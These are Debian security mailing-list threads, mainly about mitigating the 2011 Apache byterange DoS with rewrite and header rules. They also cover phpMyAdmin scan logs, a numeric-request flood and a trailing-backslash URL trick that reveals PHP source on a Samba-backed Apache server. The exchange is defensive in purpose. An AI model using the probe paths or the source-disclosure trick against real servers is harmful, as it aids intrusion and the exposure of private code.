On 26 aug. 2011, at 13:22, linbloke wrote: > I'm curious as to why you suggest option 2 over option 1 from the Apache > advisory? My guess is that it is compatible with version 1.3 and 2.x and that > is has stronger enforcement of the syntax (by requiring ^bytes=) rather than > just 5 comma separated fields. ... > RequestHeader unset Range env=bad-range Correct; env=bad-range is not functional until midway the 2.x (2.2) series. > I don't want to touch every virtualhost config and Rewrite rules scare me too. A rewrite rule requires more care - as it may get negated deeper down. RequestHeader and SetEnvIf are more robust. Dw. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1567de1a-b6b5-4fb2-ae56-73c760793...@webweaving.org
Re: Grave apache dos possible through byterange requests
On 26/08/11 8:52 PM, Carlos Alberto Lopez Perez wrote:
On 26/08/11 11:17, Christian Hammers wrote:
Hallo
Word is spreading that "Request-Range:" seems to be a synonym to "Range:" and
is similar vulnerable but not covered by the config snippets that were
proposed yesterday. So Gentlemen, patch again! :-(
Confirmed!.
Just modified the suggest solution[1] adding an [OR] (and nocase) for
also matching for request-range
RewriteEngine on
RewriteCond %{HTTP:range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC,OR]
RewriteCond %{HTTP:request-range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC]
RewriteRule .* - [F]
[1] https://lwn.net/Articles/456268/
Hello,
I'm curious as to why you suggest option 2 over option 1 from the Apache
advisory? My guess is that it is compatible with version 1.3 and 2.x and
that is has stronger enforcement of the syntax (by requiring ^bytes=)
rather than just 5 comma separated fields. Would the following be the
equivalent update to option 1:
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (,.*?){5,} bad-range=1
SetEnvIf Request-Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
RequestHeader unset Request-Range env=bad-range
# optional logging.
CustomLog /var/log/apache2/range-CVE-2011-3192.log common env=bad-range
I've put that into /etc/apaches/conf.d/CVE-2011-3192
I appreciate that it clobbers both headers if either match but that's ok
for me. If either match I'd be happier to drop the connection but I
don't want to touch every virtualhost config and Rewrite rules scare me too.
Best regards,
LB
--
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/4e5781f4.1030...@fastmail.fm
Re: Grave apache dos possible through byterange requests
On 26/08/11 11:17, Christian Hammers wrote:
> Hallo
>
> Word is spreading that "Request-Range:" seems to be a synonym to "Range:" and
> is similar vulnerable but not covered by the config snippets that were
> proposed yesterday. So Gentlemen, patch again! :-(
>
Confirmed!.
Just modified the suggest solution[1] adding an [OR] (and nocase) for
also matching for request-range
RewriteEngine on
RewriteCond %{HTTP:range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC,OR]
RewriteCond %{HTTP:request-range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$) [NC]
RewriteRule .* - [F]
[1] https://lwn.net/Articles/456268/
signature.asc
Description: OpenPGP digital signature
Re: Grave apache dos possible through byterange requests
Hallo Word is spreading that "Request-Range:" seems to be a synonym to "Range:" and is similar vulnerable but not covered by the config snippets that were proposed yesterday. So Gentlemen, patch again! :-( tschüss, -christian- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110826111700.64bfc...@sys-251.netcologne.de
Re: Grave apache dos possible through byterange requests
On 24/08/11 08:53 +0200, Dirk Hartmann wrote: it is possible to dos a actual squeeze-apache2 with easy to forge rage-requests: http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082299.html Apache-devs are working on a solution: http://www.gossamer-threads.com/lists/apache/dev/401638 But because the situation seems serious I thought I give you a heads up. Running this script against a squeeze machine with 8 Cores and 24GB Ram you only need 200 threads to kick it out of memory. There is an advisory that recommends some workarounds, depending on the needs of your specific site: http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3c20110824161640.122d38...@minotaur.apache.org%3E regards Rolf -- I never let my schooling get in the way of my education. — Mark Twain -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110825080837.gc13...@vzsze.de
Re: Grave apache dos possible through byterange requests
On 24/08/11 14:12, Andrew McGlashan wrote: > > Would that work for all websites of a Debian server if placed into a > file located in /etc/apache2/conf.d ? > > Will other rewrites will be fine in the normal conf files for each website? > > Thanks It should not mess with another redirects that you have.. but I think that you must apply it under each one of the virtual hosts of your deployment. signature.asc Description: OpenPGP digital signature
Re: Grave apache dos possible through byterange requests
On 24/08/11 12:13, Carlos Alberto Lopez Perez wrote:
> You can use the following redirect as a temporally workaround:
>
> # a2enmod rewrite
>
> RewriteEngine On
> RewriteCond %{HTTP:Range} bytes=0-.* [NC]
> RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
>
Sorry, the above redirect is wrong. It won't work if the attacker
changes bytes=0 to bytes=1 for example in the perl exploit. Also it only
blocks the check that the exploit uses to see if the server is
vulnerable, but not the range requests that is where the real problem is.
Please use the following one instead (suggested at full-disclosure[1]):
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [F]
[1]
http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082365.html
signature.asc
Description: OpenPGP digital signature
Re: Grave apache dos possible through byterange requests
Hi,
Carlos Alberto Lopez Perez wrote:
You can use the following redirect as a temporally workaround:
# a2enmod rewrite
RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-.* [NC]
RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
Would that work for all websites of a Debian server if placed into a
file located in /etc/apache2/conf.d ?
Will other rewrites will be fine in the normal conf files for each website?
Thanks
--
Kind Regards
AndrewM
Andrew McGlashan
Broadband Solutions now including VoIP
--
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/4e54eaa3.4080...@affinityvision.com.au
Re: Grave apache dos possible through byterange requests
On 24/08/11 12:45, Andrea Zwirner wrote:
> 2011/8/24 Carlos Alberto Lopez Perez
>
>> On 24/08/11 08:53, Dirk Hartmann wrote:
>>> Hi,
>>>
>>> it is possible to dos a actual squeeze-apache2 with easy to forge
>>> rage-requests:
>>>
>>>
>> http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082299.html
>>>
>>> Apache-devs are working on a solution:
>>>
>>> http://www.gossamer-threads.com/lists/apache/dev/401638
>>>
>>> But because the situation seems serious I thought I give you a heads up.
>>>
>>> Running this script against a squeeze machine with 8 Cores and 24GB Ram
>> you
>>> only need 200 threads to kick it out of memory.
>>>
>>> Cheers
>>> Dirk
>>>
>>
>> You can use the following redirect as a temporally workaround:
>>
>> # a2enmod rewrite
>>
>> RewriteEngine On
>> RewriteCond %{HTTP:Range} bytes=0-.* [NC]
>> RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
>>
>>
> I'm not an Apache expert, could you please explain in broad terms what does
> the workaround does?
>
It searches case insensitive (NC=nocase) in the http request for a
header of type range like the one used in the exploit:
Range: bytes=0-*
And if the http request matchs the condition then it redirects the user
to the mainpage of your server using a temporally redirect (R=302). Also
it stops processing more rules at this point (L=last).
I tested it thoroughly and it stops the attack meanwhile it don't
affects normal behaviour of the server, resuming downloads continue to
work as expected.
http://stackoverflow.com/questions/3303029/http-range-header
signature.asc
Description: OpenPGP digital signature
Re: Grave apache dos possible through byterange requests
2011/8/24 Carlos Alberto Lopez Perez
> On 24/08/11 08:53, Dirk Hartmann wrote:
> > Hi,
> >
> > it is possible to dos a actual squeeze-apache2 with easy to forge
> > rage-requests:
> >
> >
> http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082299.html
> >
> > Apache-devs are working on a solution:
> >
> > http://www.gossamer-threads.com/lists/apache/dev/401638
> >
> > But because the situation seems serious I thought I give you a heads up.
> >
> > Running this script against a squeeze machine with 8 Cores and 24GB Ram
> you
> > only need 200 threads to kick it out of memory.
> >
> > Cheers
> > Dirk
> >
>
> You can use the following redirect as a temporally workaround:
>
> # a2enmod rewrite
>
> RewriteEngine On
> RewriteCond %{HTTP:Range} bytes=0-.* [NC]
> RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
>
>
I'm not an Apache expert, could you please explain in broad terms what does
the workaround does?
Thanks a lot,
Andrea
--
*Andrea Zwirner*
*email:* and...@linkspirit.org
*cell:* +39 366 1872016
*Linkspirit Sistemi Informatici*
*Applicazioni raffinate della scienza informatica*
Via Delle Industrie 5 - 33050 Ronchis UD
*tel:* +39 0432 1845030 - *fax:* +39 0432 309903
*web:* www.linkspirit.it - *email:* i...@linkspirit.it
Re: Grave apache dos possible through byterange requests
On 24/08/11 08:53, Dirk Hartmann wrote:
> Hi,
>
> it is possible to dos a actual squeeze-apache2 with easy to forge
> rage-requests:
>
> http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082299.html
>
> Apache-devs are working on a solution:
>
> http://www.gossamer-threads.com/lists/apache/dev/401638
>
> But because the situation seems serious I thought I give you a heads up.
>
> Running this script against a squeeze machine with 8 Cores and 24GB Ram you
> only need 200 threads to kick it out of memory.
>
> Cheers
> Dirk
>
You can use the following redirect as a temporally workaround:
# a2enmod rewrite
RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-.* [NC]
RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
signature.asc
Description: OpenPGP digital signature
Grave apache dos possible through byterange requests
Hi, it is possible to dos a actual squeeze-apache2 with easy to forge rage-requests: http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082299.html Apache-devs are working on a solution: http://www.gossamer-threads.com/lists/apache/dev/401638 But because the situation seems serious I thought I give you a heads up. Running this script against a squeeze machine with 8 Cores and 24GB Ram you only need 200 threads to kick it out of memory. Cheers Dirk
Re: scans in my hosts. (Debian 5.0 and Apache 2.2.9)
On Thu, Jul 29, 2010 at 16:49, Sjors Gielen wrote: > > Op 29 jul 2010, om 16:34 heeft OLCESE, Marcelo Oscar. het volgende > geschreven: > > > Estimated: > > I am taking these scans in my hosts. (Debian 5.0 and Apache 2.2.9) > > This has been repeating since a weeks. > > Know what can be? What can I do to eliminate? > > > > Thanks. > > > > Marcelo Olcese. > > Someone is scanning your system for vulnerable PHPMyAdmin installations, > and other possibly vulnerable stuff. As long as you watch your PHPMyAdmin > installations if you have any and make sure nobody can abuse them, nothing's > wrong. Try, for example, requiring http authentication to access the > directories, or turning off your webserver if you didn't need it anyway. > > Sjors Hello, another option you could try is using package "fail2ban", and setting a threshold of several 404 errors and/or several 401 errors from a same IP. When this number of requests is seen, it creates a dynamic iptables rule that filters out traffic from that IP for a specified amount of time (configurable). Best Regards, -- Jonás Andradas Skype: jontux LinkedIn: http://www.linkedin.com/in/andradas GPG Fingerprint: 678F 7BD0 83C3 28CE 9E8F 3F7F 4D87 9996 E0C6 9372 Keyservers: pgp.mit.edu | pgp.rediris.es
Re: scans in my hosts. (Debian 5.0 and Apache 2.2.9)
On 7/29/10 11:43 AM, Ashley Taylor wrote: If your phpMyAdmin installations are safe and protected and you wish to remove these from your log files for vanity reasons, please see this guide with a cool fail2ban config that should help you: http://foosel.org/blog/2008/04/banning_phpmyadmin_bots_using_fail2ban Ash. On Thu, Jul 29, 2010 at 3:49 PM, Sjors Gielenwrote: Op 29 jul 2010, om 16:34 heeft OLCESE, Marcelo Oscar. het volgende geschreven: Estimated: I am taking these scans in my hosts. (Debian 5.0 and Apache 2.2.9) This has been repeating since a weeks. Know what can be? What can I do to eliminate? Thanks. Marcelo Olcese. Someone is scanning your system for vulnerable PHPMyAdmin installations, and other possibly vulnerable stuff. As long as you watch your PHPMyAdmin installations if you have any and make sure nobody can abuse them, nothing's wrong. Try, for example, requiring http authentication to access the directories, or turning off your webserver if you didn't need it anyway. Sjors There was a recent influx of attacks on some hosts who were using outdated versions [some by almost 4 revisions ~ one host I know of is using a version of PHPMyAdmin with about 20 CVE's against it that I confirmed myself ~ they have yet to push their "security experts" to update this as an emergency or close the loop by creating a prompted login ~ some who were very high end hosts] and they were open so a lot of people might see this happening more and more. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/4c51b444.7060...@envygeeks.com
Re: scans in my hosts. (Debian 5.0 and Apache 2.2.9)
If your phpMyAdmin installations are safe and protected and you wish to remove these from your log files for vanity reasons, please see this guide with a cool fail2ban config that should help you: http://foosel.org/blog/2008/04/banning_phpmyadmin_bots_using_fail2ban Ash. On Thu, Jul 29, 2010 at 3:49 PM, Sjors Gielen wrote: > > Op 29 jul 2010, om 16:34 heeft OLCESE, Marcelo Oscar. het volgende > geschreven: > > > Estimated: > > I am taking these scans in my hosts. (Debian 5.0 and Apache 2.2.9) > > This has been repeating since a weeks. > > Know what can be? What can I do to eliminate? > > > > Thanks. > > > > Marcelo Olcese. > > Someone is scanning your system for vulnerable PHPMyAdmin installations, > and other possibly vulnerable stuff. As long as you watch your PHPMyAdmin > installations if you have any and make sure nobody can abuse them, nothing's > wrong. Try, for example, requiring http authentication to access the > directories, or turning off your webserver if you didn't need it anyway. > > Sjors
Re: scans in my hosts. (Debian 5.0 and Apache 2.2.9)
Op 29 jul 2010, om 16:34 heeft OLCESE, Marcelo Oscar. het volgende geschreven: > Estimated: > I am taking these scans in my hosts. (Debian 5.0 and Apache 2.2.9) > This has been repeating since a weeks. > Know what can be? What can I do to eliminate? > > Thanks. > > Marcelo Olcese. Someone is scanning your system for vulnerable PHPMyAdmin installations, and other possibly vulnerable stuff. As long as you watch your PHPMyAdmin installations if you have any and make sure nobody can abuse them, nothing's wrong. Try, for example, requiring http authentication to access the directories, or turning off your webserver if you didn't need it anyway. Sjors smime.p7s Description: S/MIME cryptographic signature
scans in my hosts. (Debian 5.0 and Apache 2.2.9)
Estimated: I am taking these scans in my hosts. (Debian 5.0 and Apache 2.2.9) This has been repeating since a weeks. Know what can be? What can I do to eliminate? Thanks. Marcelo Olcese. ### Logwatch 7.3.6+cvs20080702-debian (07/02/08) Processing Initiated: Thu Jul 29 06:25:15 2010 Date Range Processed: yesterday ( 2010-Jul-28 ) Period is day. Detail Level of Output: 0 Type of Output/Format: mail / text Logfiles for Host: ancal4 ## - httpd Begin Requests with error response codes 401 Unauthorized /htm/oculto/frame9.htm: 3 Time(s) /phpmyadmin/scripts/setup.php: 1 Time(s) 404 Not Found /PMA/scripts/setup.php: 1 Time(s) /PMA2005/scripts/setup.php: 1 Time(s) /_vti_bin/_vti_aut/author.dll: 1 Time(s) /admin/mysql/scripts/setup.php: 1 Time(s) /admin/phpmyadmin/scripts/setup.php: 1 Time(s) /admin/pma/scripts/setup.php: 1 Time(s) /admin/scripts/setup.php: 1 Time(s) /db/scripts/setup.php: 1 Time(s) /dbadmin/scripts/setup.php: 1 Time(s) /favicon.ico: 14 Time(s) /myadmin/scripts/setup.php: 1 Time(s) /mysql-admin/scripts/setup.php: 1 Time(s) /mysql/scripts/setup.php: 1 Time(s) /mysqladmin/scripts/setup.php: 1 Time(s) /mysqlmanager/scripts/setup.php: 1 Time(s) /nosuichfile.php: 1 Time(s) /noxdir/nosuichfile.php: 1 Time(s) /p/m/a/scripts/setup.php: 1 Time(s) /pHpMy/scripts/setup.php: 1 Time(s) /pHpMyAdMiN/scripts/setup.php: 1 Time(s) /php-my-admin/scripts/setup.php: 1 Time(s) /php-myadmin/scripts/setup.php: 1 Time(s) /phpMyA/scripts/setup.php: 1 Time(s) /phpMyAdmi/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.10.0/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.10/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.4/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.5/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.6/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.7/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.8/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.11.9/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.2.3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.2.6/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.0/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.4/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.5/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.6/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.7/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.8/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.3.9/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.0/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.4/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.5/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.6/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.7/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.8/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.4.9/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.0/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.4/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.5-pl1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.5-rc1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.5-rc2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.5/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.6-rc1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.6-rc2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.6/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.7-pl1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.7/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.8/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.5.9/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-alpha/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-alpha2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-beta1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-beta2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-pl1/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-pl2/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-pl3/scripts/setup.php: 1 Time(s) /phpMyAdmin-2.6.0-rc1/scripts
Re: [SECURITY] [DSA 1834-2] New apache/apache2-mpm-itk fix regression
I am away from the office until Aug 4, 2009. If this is an emergency, please contact Philip Young at pjyo...@dowco.com. Thanks. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Re: New apache/apache2-mpm-itk fix regression
Estoy de vacaciones hasta el 20 de Agosto. Leeré tu correo cuando vuelva. Si deseas algo urgente, contacta con siste...@listserv.uc3m.es. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Re: [SECURITY] [DSA 1834-2] New apache/apache2-mpm-itk fix regression
Bonjour, Je suis absent du 31/07/09 au 17/08/09. En cas de nécessité, merci de contacter Semantia par e-mail à l'adresse supp...@semantia.com ou par téléphone au 04 42 36 80 91. Cordialement, -- Luc Santeramo - Responsable systèmes et sécurité Semantia Tél. : 04 42 36 80 91 - e-mail : luc.santer...@semantia.com Agence Paris : 3, rue Troyon - 75017 Paris Tél. : 01 40 55 46 01 - Fax : 01 42 67 93 09 Siège : Les Espaces de la Sainte-Baume - 30, Avenue du Château de Jouques - 13420 Gémenos Tél. : 04 42 36 80 91 - Fax : 04 42 36 81 59 i...@semantia.com - www.semantia.com -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Re: mod_security (was: Apache "DDOS" with random number request)
On Mon, Sep 22, 2008 at 08:16:01AM +0200, Stefan Fritsch wrote: > On Monday 22 September 2008, Felipe Figueiredo wrote: > > > Try modsecurity, it should block invalid URI > > > > Speaking of which, shouldn't it be re-included in Debian now that > > the licensing issue[1] is supposed to be over[2]? > > There is already an ITP bug, but I don't know the current status. > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=487431 > > Coming soon (tm) -- Alberto Gonzalez Iniesta| Formación, consultoría y soporte técnico agi@(inittab.org|debian.org)| en GNU/Linux y software libre Encrypted mail preferred| http://inittab.com Key fingerprint = 9782 04E7 2B75 405C F5E9 0C81 C514 AF8E 4BA4 01C3 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
mod_security (was: Apache "DDOS" with random number request)
On Monday 22 September 2008, Felipe Figueiredo wrote: > > Try modsecurity, it should block invalid URI > > Speaking of which, shouldn't it be re-included in Debian now that > the licensing issue[1] is supposed to be over[2]? There is already an ITP bug, but I don't know the current status. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=487431 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Apache "DDOS" with random number request
On Mon, 2008-09-22 at 09:15 +1000, Stephen Vaughan wrote: > Try modsecurity, it should block invalid URI > Speaking of which, shouldn't it be re-included in Debian now that the licensing issue[1] is supposed to be over[2]? 1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=352344 2. http://blog.modsecurity.org/2008/06/modsecurity-lic.html regards FF -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Apache "DDOS" with random number request
It sounds liek your app, or a combination of the modules you're using is more likely what's running Apache out of memory. mod_security could be used to check for requests that contain just a numeric path to GET, but I'd investigate why your app/configuration is causing an OOM error. Could it be you've got MaxClients set too high and the clients are holding connections open after the fact? There are many possibilities at this point, many of which (most) have nothing to do with apache but with local configuration and options. --On September 22, 2008 12:08:39 AM +0200 NeMiX <[EMAIL PROTECTED]> wrote: Hi there, since last week we´ve got a little problem with our Webserverfarm. We get some strange Request from some Dial-Up Accounts from Europe (T-Online; Telefonica; Orange...): Sep 21 22:47:35 logger: [Sun Sep 21 22:47:35 2008] [error] [client 87.183.65.xx] Invalid URI in request GET 347905 HTTP/1.0 Sep 21 22:47:35 logger: [Sun Sep 21 22:47:35 2008] [error] [client 87.183.65.xx] Invalid URI in request GET 341922 HTTP/1.0 This strange Request (GET 347905 HTTP/1.0 ) pass our Firewall (because it´s normal HTTP), goes to our Load balancer and then to our Webserver. Only 1 Client make about 80-100 strange Request per Minute and we get a peak on our Webserverfarm and finally after 5 Minutes the Webserver(s) get out of memory: Out of Memory: Kill process 12082 (apache) score 199722 and children. Out of memory: Killed process 19435 (apache). If we get a "DDOS" we make a tcpdump and count the IPs (maximum 8 Dial Up Accounts) to block them on our Firewall. I don´t find any about this strange request on Google or some security boards. Is this a new kind of DDOS or just kiddy stuff? If someone have some more information about this strange Request/DDOS it would be very nice if he can send this to me. Kind Regards -- Andre Braun, IT Manager Turtle Entertainment GmbH -- Michael Loftis Modwest Operations Manager Powerful, Affordable Web Hosting -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Apache "DDOS" with random number request
Try modsecurity, it should block invalid URI On Mon, Sep 22, 2008 at 8:08 AM, NeMiX <[EMAIL PROTECTED]> wrote: > Hi there, > > > > since last week we´ve got a little problem with our Webserverfarm. > > We get some strange Request from some Dial-Up Accounts from Europe > (T-Online; Telefonica; Orange...): > > > > Sep 21 22:47:35 logger: [Sun Sep 21 22:47:35 2008] [error] [client > 87.183.65.xx] Invalid URI in request GET 347905 HTTP/1.0 Sep 21 22:47:35 > logger: [Sun Sep 21 22:47:35 2008] [error] [client 87.183.65.xx] Invalid URI > in request GET 341922 HTTP/1.0 > > > > This strange Request (GET 347905 HTTP/1.0 ) pass our Firewall (because it´s > normal HTTP), goes to our Load balancer and then to our Webserver. > > > > Only 1 Client make about 80-100 strange Request per Minute and we get a > peak on our Webserverfarm and finally after 5 Minutes the Webserver(s) get > out of memory: > > > > Out of Memory: Kill process 12082 (apache) score 199722 and children. > > Out of memory: Killed process 19435 (apache). > > > > If we get a "DDOS" we make a tcpdump and count the IPs (maximum 8 Dial Up > Accounts) to block them on our Firewall. > > > > I don´t find any about this strange request on Google or some security > boards. > > > > Is this a new kind of DDOS or just kiddy stuff? If someone have some more > information about this strange Request/DDOS it would be very nice if he can > send this to me. > > > > Kind Regards > > > > -- > > Andre Braun, IT Manager > > > > Turtle Entertainment GmbH > > > > > > > > > -- Best Regards, Stephen
Apache "DDOS" with random number request
Hi there, since last week we´ve got a little problem with our Webserverfarm. We get some strange Request from some Dial-Up Accounts from Europe (T-Online; Telefonica; Orange...): Sep 21 22:47:35 logger: [Sun Sep 21 22:47:35 2008] [error] [client 87.183.65.xx] Invalid URI in request GET 347905 HTTP/1.0 Sep 21 22:47:35 logger: [Sun Sep 21 22:47:35 2008] [error] [client 87.183.65.xx] Invalid URI in request GET 341922 HTTP/1.0 This strange Request (GET 347905 HTTP/1.0 ) pass our Firewall (because it´s normal HTTP), goes to our Load balancer and then to our Webserver. Only 1 Client make about 80-100 strange Request per Minute and we get a peak on our Webserverfarm and finally after 5 Minutes the Webserver(s) get out of memory: Out of Memory: Kill process 12082 (apache) score 199722 and children. Out of memory: Killed process 19435 (apache). If we get a "DDOS" we make a tcpdump and count the IPs (maximum 8 Dial Up Accounts) to block them on our Firewall. I don´t find any about this strange request on Google or some security boards. Is this a new kind of DDOS or just kiddy stuff? If someone have some more information about this strange Request/DDOS it would be very nice if he can send this to me. Kind Regards -- Andre Braun, IT Manager Turtle Entertainment GmbH
Re: [SECURITY] [DSA 1167-1] New apache packages fix several vulnerabilities
On Mon, Sep 04, 2006 at 07:39:16PM +0200, Thorsten Schifferdecker wrote: > you wrote there's a sec-update of apache, but on security.debian.org > no update apache debs where found. Try again a few times. It's on some of the security.debian.org hosts, and propably replicating to all of them. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: [SECURITY] [DSA 1167-1] New apache packages fix several vulnerabilities
Hi Steve, you wrote there's a sec-update of apache, but on security.debian.org no update apache debs where found. Regards, Thorsten -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Apache + samba problem
Hello list.
I've found out interesting thing using apache and samba on my test server.
I'm not sure if it is a new issue but I couldn't find anything similar
on google.
I've configured apache to serve content from a mounted windows share.
Now the best begins. When I add a backslash ("\") mark at the end of url
like
http://localhost/winshare/index.php\
apache displays my PHP code instead of executing it.
Simple strace shows something like that:
stat64("/home/winshare/index.php\\", {st_mode=S_IFREG|0644, st_size=217,
...}) = 0
lstat64("/home", {st_mode=S_IFDIR|S_ISGID|0775, st_size=4096, ...}) = 0
lstat64("/home/winshare", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open("/home/winshare/.htaccess", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No
such file or directory)
lstat64("/home/winshare/index.php\\", {st_mode=S_IFREG|0644,
st_size=217, ...}) = 0
open("/home/winshare/index.php\\", O_RDONLY|O_LARGEFILE) = 5
select(4, [3], NULL, NULL, {0, 0}) = 0 (Timeout)
write(3, "HTTP/1.1 304 Not Modified\r\nDate:"..., 237) = 237
I guess that lstat or samba itself is stripping "\\" from the file
during name lookup because it doesn't return 404 error. But the
resulting extension (.php\) doesn't match any AddType directive, so
apache is just displaying it in plain text.
I've checked and after adding
AddType application/x-httpd-php .php .php\ .php%5C
code is being executed.
I've tested in on two linux boxes but on single windows share so it
could be some configuration error.
I don't suppose there are a lot of production servers configured in
similar way but it could still be an security issue.
Sorry, if this is a faq.
Best regards
Maciej Gasiorowski
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
